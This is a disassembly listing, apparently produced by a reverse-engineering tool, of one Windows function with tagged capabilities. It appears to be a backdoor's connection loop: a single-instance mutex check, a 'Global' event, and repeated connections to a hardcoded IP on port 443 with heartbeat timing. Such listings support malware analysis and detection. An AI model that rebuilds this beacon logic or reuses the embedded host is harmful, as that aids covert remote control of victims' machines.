Function at 0x10016c4c
Capabilities:
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa228
call fcn.10025b70
push edi
push str.ODBC2...................
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call fcn.1000dc82
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x18c], eax
push 0x2000000
push 0
push 0x1008c714
call dword [sym.imp.USER32.dll_OpenWindowStationA]
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
je 0x10016ca4
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
mov ecx, 1
test ecx, ecx
je 0x10016ccb
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.lobal
push str.G_sX6__d
lea edx, [ebp - 0x7c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov byte [ebp - 0xa0f0], 0
mov ecx, 0xf
xor eax, eax
lea edi, [ebp - 0xa0ef]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0xa0b0], 0x1bb
mov byte [ebp - 0x44], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x43]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x24], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x23]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0xa0f8], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0xa0f4], 0
mov dword [ebp - 0xa0f4], str.sxxxjgt_test
cmp dword [ebp + 8], 0
je 0x10016d4d
cmp dword [ebp + 8], 5
jne 0x10016d88
mov eax, dword [ebp - 0xa0f4]
add eax, 0x10
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x10095ce0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10016d88
mov ecx, dword [0x10095ce0]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 4], 0
mov dword [ebp - 0x184], 0
lea ecx, [ebp - 0x248]
call fcn.1000401b
lea edx, [ebp - 0x248]
push edx
lea ecx, [ebp - 0xa0ac]
call fcn.1000ac82
mov byte [ebp - 0x180], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x17f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x180]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x180]
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
mov edx, dword [ebp - 0xa0f4]
cmp dword [edx + 0x15c], 0
jne 0x10016e1b
push 0x1008c730
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10016e3c
push 0x1008c73c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0xa0ac]
call fcn.1000b084
push 0x1008c74c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 0xa0f4]
cmp dword [ecx + 0x150], 0
je 0x10016e91
push 0x1008c758
lea edx, [ebp - 0x180]
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x10016e91
mov byte [ebp - 0xa200], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xa1ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0xa200]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 0xa0f4]
add ecx, 0x108
push ecx
lea edx, [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0xa0f4]
add eax, 0x128
push eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [ebp - 0xa0fc], 0
push str.2...............
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, 1
test edx, edx
je 0x100172b6
mov eax, dword [ebp - 0xa0f4]
cmp dword [eax + 0x54], 0
jne 0x10016f04
mov ecx, dword [ebp - 0xa0f4]
add ecx, 0x10
push ecx
lea edx, [ebp - 0xa0f0]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x10016f62
mov eax, dword [ebp - 0xa0f4]
cmp dword [eax + 0x54], 1
jne 0x10016f62
mov ecx, dword [ebp - 0xa0f4]
add ecx, 0x10
push ecx
call fcn.10016933
add esp, 4
mov dword [ebp - 0xa210], eax
cmp dword [ebp - 0xa210], 0
je 0x10016f62
mov edx, dword [ebp - 0xa210]
push edx
lea eax, [ebp - 0xa0f0]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov ecx, dword [ebp - 0xa210]
mov dword [ebp - 0xa220], ecx
mov edx, dword [ebp - 0xa220]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0xa0f4]
mov ecx, dword [eax + 0x50]
mov dword [ebp - 0xa0b0], ecx
mov edx, dword [ebp - 0xa0fc]
and edx, 0xff
test edx, edx
je 0x1001700b
mov eax, dword [ebp - 0xa0fc]
and eax, 0xff
cmp eax, 3
je 0x1001700b
push 0x1008c778
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [ebp - 0xa214], 0
jmp 0x10016fbb
mov ecx, dword [ebp - 0xa214]
add ecx, 1
mov dword [ebp - 0xa214], ecx
cmp dword [ebp - 0xa214], 0x3e8
jge 0x1001700b
lea edx, [ebp - 0x7c]
push edx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0
je 0x10017001
lea ecx, [ebp - 0x248]
call fcn.10004e74
mov eax, dword [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001700b
push 0x28
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10016fac
cmp dword [ebp - 4], 3
jl 0x100170b4
mov ecx, dword [ebp - 0xa0f4]
cmp dword [ecx + 0x9c], 0
jne 0x1001703a
push str.101.36.106.114
lea edx, [ebp - 0xa0f0]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x1001709b
mov eax, dword [ebp - 0xa0f4]
cmp dword [eax + 0x9c], 1
jne 0x1001709b
mov ecx, dword [ebp - 0xa0f4]
add ecx, 0x58
push ecx
call fcn.10016933
add esp, 4
mov dword [ebp - 0xa218], eax
cmp dword [ebp - 0xa218], 0
je 0x1001709b
mov edx, dword [ebp - 0xa218]
push edx
lea eax, [ebp - 0xa0f0]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov ecx, dword [ebp - 0xa218]
mov dword [ebp - 0xa224], ecx
mov edx, dword [ebp - 0xa224]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0xa0f4]
mov ecx, dword [eax + 0x98]
mov dword [ebp - 0xa0b0], ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa204], eax
mov edx, dword [ebp - 0xa0b0]
push edx
lea eax, [ebp - 0xa0f0]
push eax
lea ecx, [ebp - 0x248]
call fcn.1000424f
and eax, 0xff
test eax, eax
jne 0x1001711d
lea ecx, [ebp - 0xa0f0]
push ecx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov edx, dword [ebp - 0xa0f4]
mov eax, dword [edx + 0x154]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0xa0fc], 0
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x10016ed0
mov edx, dword [ebp - 0xa0b0]
push edx
lea eax, [ebp - 0xa0f0]
push eax
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x248]
push edx
lea ecx, [ebp - 0xa0ac]
call fcn.1000b0f0
lea eax, [ebp - 0xa0ac]
push eax
lea ecx, [ebp - 0x248]
call fcn.10005296
mov dword [ebp - 0xa20c], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0xa204]
push eax
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x44]
push edx
call fcn.10015df2
add esp, 0xc
push 0x1008c78c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x9e98]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa204], eax
push str.3...............
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x9e98]
cmp eax, 0xea60
jbe 0x100171d6
push 0x1008c7a4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10017271
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0xa204]
cmp eax, 0x4e20
jb 0x10017224
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa204], eax
mov byte [ebp - 0xa21c], 0x83
push 0
push 1
lea ecx, [ebp - 0xa21c]
push ecx
lea ecx, [ebp - 0x248]
call fcn.10004efc
cmp eax, 0xffffffff
jne 0x10017224
push 0x1008c7ac
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10017271
lea edx, [ebp - 0x7c]
push edx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x184], eax
push 0x64
mov eax, dword [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xa208], eax
push 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x184], 0
jne 0x10017271
cmp dword [ebp - 0xa208], 0
jne 0x100171b3
cmp dword [ebp - 0x184], 0
je 0x1001729f
push 0x1008c7bc
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [ebp - 0x248]
call fcn.10004e74
mov ecx, dword [ebp - 0x184]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100172b6
push 0x1008c7d4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0xa0fc], 2
jmp 0x10016ed0
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0xa228], 1
lea ecx, [ebp - 0xa0ac]
call fcn.1000b153
lea ecx, [ebp - 0x248]
call fcn.10004180
mov eax, dword [ebp - 0xa228]
pop edi
mov esp, ebp
pop ebp
ret